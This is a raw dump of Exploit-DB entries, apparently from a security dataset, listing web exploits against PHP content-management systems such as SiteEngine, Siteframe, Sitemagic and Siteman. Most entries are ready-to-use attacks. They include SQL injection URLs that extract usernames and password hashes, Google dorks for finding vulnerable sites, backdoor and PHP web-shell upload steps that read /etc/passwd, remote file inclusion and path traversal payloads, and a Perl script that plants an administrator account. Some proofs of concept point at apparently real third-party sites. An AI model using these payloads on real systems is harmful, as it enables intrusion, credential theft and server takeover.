deardaniel/secdata-raw huggingface dataset:
Exploit-DB #15612
Description: SiteEngine 7.1 - SQL Injection
Type: webapps
Platform: php
Date: 2010-11-25
Author: Beach

Exploit:
#################################################################################
#Title:   SiteEngine 7.1 SQL injection Vulnerability
#Date:    2010-11-25
#Author:  Beach
#Team:    www.linux520.com
#Vendor:  www.siteengine.net  www.boka.cn
#Dork:    "Powered by SiteEngine"   //300,000 +~
#Language:PHP
#Greetz:  birdarmy
#################################################################################
[*]Description:
   Exploit this vulnerability comment must be enabled (default == enable)
#################################################################################
[*]Exploit:

Enterprise Portal Version:
[1]http://server/comments.php?id=1&module=newstopic+m,boka_newstopicclass+c+where+1=2+union+select+1,2,concat(username,0x3a,password),4,5,6,...,38,39+from+boka_members%23

[2]http://server/comments.php?id=1&module=news+m,boka_newsclass+c+where+1=2+union+select+1,2,concat(username,0x3a,password),4,5,6,...,26,27+from+boka_members%23

maybe have a different number of columns , you can try it ...
==================================================================================
E-commerce Version:

[+]http://server/comments.php?id=1&module=news+m,boka_newsclass+c+where+1=2+union+select+1,2,password,4,5,6,...,37,38+from+boka_members%23
##################################################################################

Similar to other versions  =)
##################################################################################
[*]Upload backdoor:
Administrator Panel: http://server/admin/

System maintainance -> WAP Setting -> plz upload WAP logo(<= 10kb) -> OK -> 
Browse Right Now -> view properties [the URL is Ur backdoor]
##################################################################################
Exploit-DB #27201
Description: Siteframe Beaumont 5.0.1 - 'search.php?Q' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-12
Author: Kiki

Exploit:
source: https://www.securityfocus.com/bid/16596/info

Siteframe Beaumont is prone to a cross-site scripting vulnerability. 

This issue affects the 'search.php' script.

Siteframe Beaumont 5.0.1 and prior versions are reportedly vulnerable.

http://www.example.com/search.php?q=[XSS]
Exploit-DB #27243
Description: Siteframe Beaumont 5.0.1/5.0.2 - 'page.php' HTML Injection
Type: webapps
Platform: php
Date: 2006-02-16
Author: federico.alice@tiscali.it

Exploit:
source: https://www.securityfocus.com/bid/16695/info

Siteframe Beaumont is prone to an HTML-injection vulnerability. The application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

This issue is reported to affect Siteframe Beaumont versions 5.0.2 and earler; other versions may also be vulnerable.

An example HTTP POST request has been provided:

http://www.example.com/edit/Comment
POST /edit/Comment HTTP/1.1
Host: www.example.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.12) Gecko/20050919 Firefox/1.0.7
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it,it-it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 167
comment_id=&comment_user_id=554&comment_page_id=116&comment_reply_to=&comment_subject=Kiki&comment_text=H
i&_submitted=1
Exploit-DB #22386
Description: Siteframe CMS 2.2.4 - 'download.php' Information Disclosure
Type: webapps
Platform: php
Date: 2003-03-19
Author: Ertan Kurt

Exploit:
source: https://www.securityfocus.com/bid/7143/info

Siteframe has been reported vulnerable to an information disclosure vulnerability.

When handling certain download requests Siteframe may be lead into an error condition. When these errors occur, the script will output some path information. 

Information obtained in this manner may be used by an attacker to launch further attacks against a vulnerable system.

http://www.example.com/download.php?id=2%
Exploit-DB #6099
Description: Siteframe CMS 3.2.3 - 'folder.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-18
Author: n0ne

Exploit:
#################################################
#################################################
##SQL-Injection in Siteframe CMS (all versions)##
#################################################
#################################################

##############
#Author: n0ne##############
#E-Mail: qwerty@ebanat.com#
###########################

###############################
#Vulnerable script: folder.php#
#Vulnerable var: id############
####################

########################################
#CMS Homepage: http://www.siteframe.org#
########################################

##########################################################################################################################################################
#Exploit PoC: #http://www.target.com/folder.php?id=370+and(1=2)+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,user_email,user_passwd),10,11# #+from+users--#                                                                                                                                                                                           ########################################################################################################################
##########################################################################################################################################################

#########################################################################################################
#Admin panel: http://www.target.com/admin/ (but previously you gotta log in as administrator on website)#
#########################################################################################################

###################################################
#############Greetz to www.antichat.ru#############
############And personally to Nilson ;)############
###################################################

# milw0rm.com [2008-07-18]
Exploit-DB #15852
Description: Siteframe CMS 3.2.3 - 'user.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-12-29
Author: AnGrY BoY

Exploit:
# Exploit Title: Siteframe 'user.php' SQL Injection Vulnerability
# Google Dork: "powered by Siteframe"
# Date: 29/12/2010
# Author: AnGrY BoY
# Software Link: http://sitefrane.org/downloads/
# Version: Siteframe 3.2.3
# Tested on: windows SP2
# CVE : N/A

# expolit:

# http://localhost/path/user.php?id=[SQL]
             
# http://localhost/path/user.php?id=-2+UNION+SELECT+1,2,3,4,5,concat(user_email,0x3e,user_passwd),7,8,9,10,11+from+users--

======================================================================================
# Special Thanks:- all h4kurd members
Exploit-DB #9098
Description: Siteframe CMS 3.2.x - SQL Injection / phpinfo()
Type: webapps
Platform: php
Date: 2009-07-09
Author: NoGe

Exploit:
========================================================================================================================================================


  [o] Siteframe CMS 3.2.x SQL Injection & phpinfo() Disclosure Vulnerability

       Software : Siteframe CMS version 3.2.x
       Vendor   : http://siteframe.org/
       Download : http://sitefrane.org/downloads/
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


========================================================================================================================================================


  [o] Description

       SiteframeÂ™ is a lightweight content-management system
       designed for the rapid deployment of community-based websites.
       With Siteframe, a group of users can share stories and photographs,
       create blogs, send email to one another, and participate in group activities.
       Siteframe enables this by providing web-based content management
       so that anyone can create content without needing to learn HTML.



  [o] Vulnerable file

       document.php



  [o] Exploit

       http://localhost/[path]/document.php?id=[SQL]
       http://localhost/[path]/phpinfo.php



  [o] Proof of concept

       http://digi-forum.com/frame/document.php?id=10+and+1=2+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,user_email,user_passwd),11,12+from+users--
       http://digi-forum.com/frame/phpinfo.php
       http://myolympus.org/document.php?id=15570+and+1=2+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,user_email,user_passwd),11,12+from+users--
       http://myolympus.org/phpinfo.php



  [o] Dork

       "Powered by Siteframe"



  [o] Notes

       Upgrade Siteframe CMS from 3.2.x to 5.0.6 (lastest)


========================================================================================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://serverisdown.org/news ]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 loqsa Angela Zhang
       H312Y yooogy mousekill }^-^{ kaka11 zxvf martfella
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


========================================================================================================================================================

# milw0rm.com [2009-07-09]
Exploit-DB #17597
Description: SiteGenius - Blind SQL Injection
Type: webapps
Platform: php
Date: 2011-08-02
Author: AutoRUN & dR.sqL

Exploit:
=====================================================
SiteGenius  Blind SQL injection vulnerability
=====================================================


# Exploit title : SiteGenius Blind SQL injection vulnerability
# Date : 02 \ 08 \ 2011
# Author : AutoRUN  & dR.sqL
# Home : HackForums.AL , AutoRUN-Albania.COM , whiteh4t.net,  HackingWith.US , 
# Software Link : http://www.sitegenius.com
# Tested on : Windows XP & Linux
# Category : web apps
# Google Dork : inurl:"sitegenius/topic.php?id="
# Versions affected : All

----------------------------------
#      ~  ExpL0!taTi0N ~       #
----------------------------------

Affected files : topic.php & article.php

SQLi (blind) details: Table: users ; Columns: username & password ; Panel (admin): /sitegenius/login.php


Exploit : http://localhost/sitegenius/topic.php?id=1 and 1=1  --> TRUE
             http://localhost/sitegenius/topic.php?id=1 and 1=2  --> FALSE

w00t!! Blind SQL injection !


     _         _        ____  _   _ _   _    ___         _ ____              _     
    / \  _   _| |_ ___ |  _ \| | | | \ | |  ( _ )     __| |  _ \   ___  __ _| |    
   / _ \| | | | __/ _ \| |_) | | | |  \| |  / _ \/\  / _` | |_) | / __|/ _` | |    
  / ___ \ |_| | |_ (_) |  _ <| |_| | |\  | | (_>  < | (_| |  _ < _\__ \ (_| | |___ 
 /_/   \_\__,_|\__\___/|_| \_\\___/|_| \_|  \___/\/  \__,_|_| \_(_)___/\__, |_____|
                                                                          |_|      




# Greetz : Programer , Dr.moka, eragon, BaDBoY-AL , z3r0w1zard , Red Dragon_aL , Pretorian ,Th3_Power , 
                R-t33n , Ace Wizard, KubaNnez1 , 1Nj3ct0r-4L, AHG , ssgodfather, DJDukli , b4ti , #tupac.al, CroSs HackForums.AL members & All our friends.

  ____                      _   ____  ____       _    _ _                 _               _
 |  _ \ _ __ ___  _   _  __| | |___ \| __ )     / \  | | |__   __ _ _ __ (_) __ _ _ __   | |
 | |_) | '__/ _ \| | | |/ _` |   __) |  _ \    / _ \ | | '_ \ / _` | '_ \| |/ _` | '_ \  | |
 |  __/| | | (_) | |_| | (_| |  / __/| |_) |  / ___ \| | |_) | (_| | | | | | (_| | | | | |_|
 |_|   |_|  \___/ \__,_|\__,_| |_____|____/  /_/   \_\_|_.__/ \__,_|_| |_|_|\__,_|_| |_| (_)
                                                                                             
 
# 2011
Exploit-DB #21222
Description: SiteGo - Remote File Inclusion
Type: webapps
Platform: php
Date: 2012-09-10
Author: L0n3ly-H34rT

Exploit:
############################################
### Exploit Title: SiteGo Remote File Inclusion Vulnerability
### Date: 10/09/2012 
### Author: L0n3ly-H34rT 
### Contact: l0n3ly_h34rt@hotmail.com 
### My Site: http://se3c.blogspot.com/ 
### Vendor Link: http://site-go.com/
### Software Link: http://site-go.com/free/site-go.zip
### Tested on: Linux/Windows 
############################################

# File affect in two styles ( get_templet.php ) on line 120:

include "$MyStyle[StylePath]/extra/css_menu.php";

# Examples :

http://127.0.0.1/site-go/style/green/get_templet.php?MyStyle[StylePath]=http://127.0.0.1/shell.txt?

http://127.0.0.1/site-go/style/blue/get_templet.php?MyStyle[StylePath]=http://127.0.0.1/shell.txt?

############################################

# Greetz to my friendz
Exploit-DB #4071
Description: Sitellite CMS 4.2.12 - '559668.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-14
Author: o0xxdark0o

Exploit:
*sitellite*<http://www.sitelliteforge.com/index/siteforge-download-action/proj.sitellite?dl=sitellite-4.2.12-stable.tar.gz>
v 4.2.12
DORK : "powered by Sitellite"
FOUND BY : o0xxdark0o
           o0xxdark0o[at]msn.com
Website: http://www.sitellite.org/
DOWNLOAD : http://www.sitelliteforge.com/index/siteforge-app/proj.sitellite
REMOTE FILE ICLUDE
############################################################
FILE :
PATH\saf\lib\PEAR\PhpDocumentor\Documentation\tests\bug-559668.php
############################################################
EXP:
xxx.com\path\saf\lib\PEAR\PhpDocumentor\Documentation\tests\559668.php?FORUM[LIB]=Shell
?
############################################################
CODE: on line 4
<?php
/** @package tests */
/** include tests */
require_once $FORUM['LIB'] . '/classes/db/PearDb.php';
require PEAR . 'test' . 'me';
include('file.ext');
include 'file.ext';
include(PEAR . 'test' . 'me');
?>
############################################################
thanks for all my friends.. str0ke ... mr_6.1.9 .... oxdo .... cold z3ro
www.hach-teach.org - www.3asfh.com
############################################################
BY : o0xxdark0o
     o0xxdark0o@msn.com

PhpDocumentor directory is .htaccess'ed

# milw0rm.com [2007-06-14]
Exploit-DB #35877
Description: Sitemagic CMS - 'SMTpl' Directory Traversal
Type: webapps
Platform: php
Date: 2011-06-23
Author: Andrea Bocchetti

Exploit:
source: https://www.securityfocus.com/bid/48399/info

Sitemagic CMS is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain arbitrary local files in the context of the webserver process. 

http://www.example.com/smcmsdemoint/index.php?SMTpl=../../../../../../../../../../etc/passwd%00.png
Exploit-DB #35871
Description: Sitemagic CMS 2010.04.17 - 'SMExt' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-06-21
Author: Gjoko Krstic

Exploit:
source: https://www.securityfocus.com/bid/48355/info

Sitemagic CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Sitemagic CMS 2010.04.17 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?SMExt=[xss]
Exploit-DB #48788
Description: SiteMagic CMS 4.4.2 - Arbitrary File Upload (Authenticated)
Type: webapps
Platform: php
Date: 2020-09-03
Author: V1n1v131r4

Exploit:
# Exploit Title: SiteMagic CMS 4.4.2 - Arbitrary File Upload (Authenticated)
# Date: 2020-09-02
# Exploit Author: v1n1v131r4
# Vendor Homepage: https://sitemagic.org/
# Software Link: https://sitemagic.org/Download.html
# Version: 4.4.2
# Tested on: Ubuntu 18.04
# CVE : N/A
# PoC: https://github.com/V1n1v131r4/Unrestricted-File-Upload-on-SiteMagic-CMS-4.4.2/blob/master/README.md


Step 1 - Request

POST /sitemagic/index.php?SMExt=SMFiles&SMTemplateType=Basic&SMExecMode=Dedicated&SMFilesUpload&SMFilesUploadPath=files%2Fimages HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pt-BR,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Length: 538
Origin: example.org
DNT: 1
Connection: close
Referer: http://example.org/sitemagic/index.php?SMExt=SMFiles&SMTemplateType=Basic&SMExecMode=Dedicated&SMFilesUpload&SMFilesUploadPath=files%2Fimages
Cookie: timezone=America/Argentina/Buenos_Aires; cookieconsent_status=dismiss; SMSESSION407f70d0a9400582=f93d614ad0046ec76e41f3613d97da59
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="SMInputSMFilesUpload"; filename="info.php"
Content-Type: application/x-php

<?php phpinfo(); ?>

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="SMPostBackControl"


----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="SMRequestToken"

f9f116f33c012ce5e67f52dffc7e6bc6
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]--




Step 2 - Response

Status 200 OK
Version HTTP/1.1
Transferred 26,20 KB (25,80 KB size)
Referrer Policy no-referrer-when-downgrade




Step 3 - Read file uploaded

http://example.org/sitemagic/files/images/info.php
Exploit-DB #51464
Description: SitemagicCMS 4.4.3 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2023-05-23
Author: Mirabbas Ağalarov

Exploit:
#Exploit Title: SitemagicCMS 4.4.3 Remote Code Execution (RCE)
#Application: SitemagicCMS
#Version: 4.4.3
#Bugs:  RCE
#Technology: PHP
#Vendor URL: https://sitemagic.org/Download.html
#Software Link: https://github.com/Jemt/SitemagicCMS
#Date of found: 14-05-2023
#Author: Mirabbas Ağalarov
#Tested on: Linux 

2. Technical Details & POC
========================================
steps: 
1. go to content then files 
2. upload shell.phar file but content as  <?php echo system("cat /etc/passwd"); ?>
3. go to  http://localhost/SitemagicCMS/files/images/shell.phar



payload: <?php echo system("cat /etc/passwd"); ?>



Poc request :

POST /SitemagicCMS/index.php?SMExt=SMFiles&SMTemplateType=Basic&SMExecMode=Dedicated&SMFilesUpload&SMFilesUploadPath=files%2Fimages HTTP/1.1
Host: localhost
Content-Length: 492
Cache-Control: max-age=0
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywPUsZSbtgJ6nAn8W
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://localhost/SitemagicCMS/index.php?SMExt=SMFiles&SMTemplateType=Basic&SMExecMode=Dedicated&SMFilesUpload&SMFilesUploadPath=files%2Fimages
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: SMSESSION13bc620d275e3705=biljb454ko3ddonj5943p364lf
Connection: close

------WebKitFormBoundarywPUsZSbtgJ6nAn8W
Content-Disposition: form-data; name="SMInputSMFilesUpload"; filename="shell.phar"
Content-Type: application/octet-stream

<?php echo system('cat /etc/passwd'); ?>

------WebKitFormBoundarywPUsZSbtgJ6nAn8W
Content-Disposition: form-data; name="SMPostBackControl"


------WebKitFormBoundarywPUsZSbtgJ6nAn8W
Content-Disposition: form-data; name="SMRequestToken"

60a7a113cf94842a[PII_REDACTED]5b421
------WebKitFormBoundarywPUsZSbtgJ6nAn8W--
Exploit-DB #25052
Description: Siteman 1.1 - User Database Privilege Escalation (1)
Type: webapps
Platform: php
Date: 2005-01-19
Author: Noam Rathaus

Exploit:
source: https://www.securityfocus.com/bid/12304/info

Siteman is reported prone to a vulnerability that may allow users to gain elevated privileges. This issue results from insufficient sanitization of user-supplied data.

Apparently, an attacker can supply additional lines to the stream used to write to the user database file through a URI parameter. This can allow the attacker to corrupt the user database file and potentially gain administrative privileges to the Siteman application.

Siteman 1.1.10 and prior versions are affected by this vulnerability. 

#!/usr/bin/perl -w
#
# Exploit by Noam Rathaus - Beyond Security Ltd.
# Exploit for the SiteMan vulnerability discovered by: "amironline452" <amironline452@alphahackers.com>
#

use Digest::MD5 qw(md5 md5_hex md5_base64);
use IO::Socket;
use strict;


# ./siteman.pl / vulnerable.host
my $Path = shift;
my $Host = shift;
my $Username = shift;
my $Password = md5_hex(shift);

print "Path: $Path\nHost: $Host\nUsername: $Username\n[CREDENTIAL_REDACTED]\n";

my $content = "do=docreate&line=%0A%0D$Username|$Password|5|$Username\@hacked.com|". "$Username|[PII_REDACTED]|$Username|$Password|0|0|0|hackers%0A%0D";

my $request = "POST $Path/users.php HTTP/1.1\r
Host: $Host\r
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040928 Firefox/0.9.3\r
Accept: text/html;q=0.9,text/plain;q=0.8,*/*;q=0.5\r
Accept-Language: en-us,en;q=0.5\r
Accept-Encoding: gzip,deflate\r
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r
Content-Length: ".length($content)."\r
Content-Type: application/x-www-form-urlencoded\r
Connection: close\r
\r
$content";

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $Host, PeerPort => "8080");

unless ($remote) { die "cannot connect to http daemon on $Host" }

print "connected\n";

print "request: [$request]\n";
print $remote $request. "\r\n";

while (<$remote>)
{
 print $_;
}

close ($remote);

print "\n\n--- done ---\n";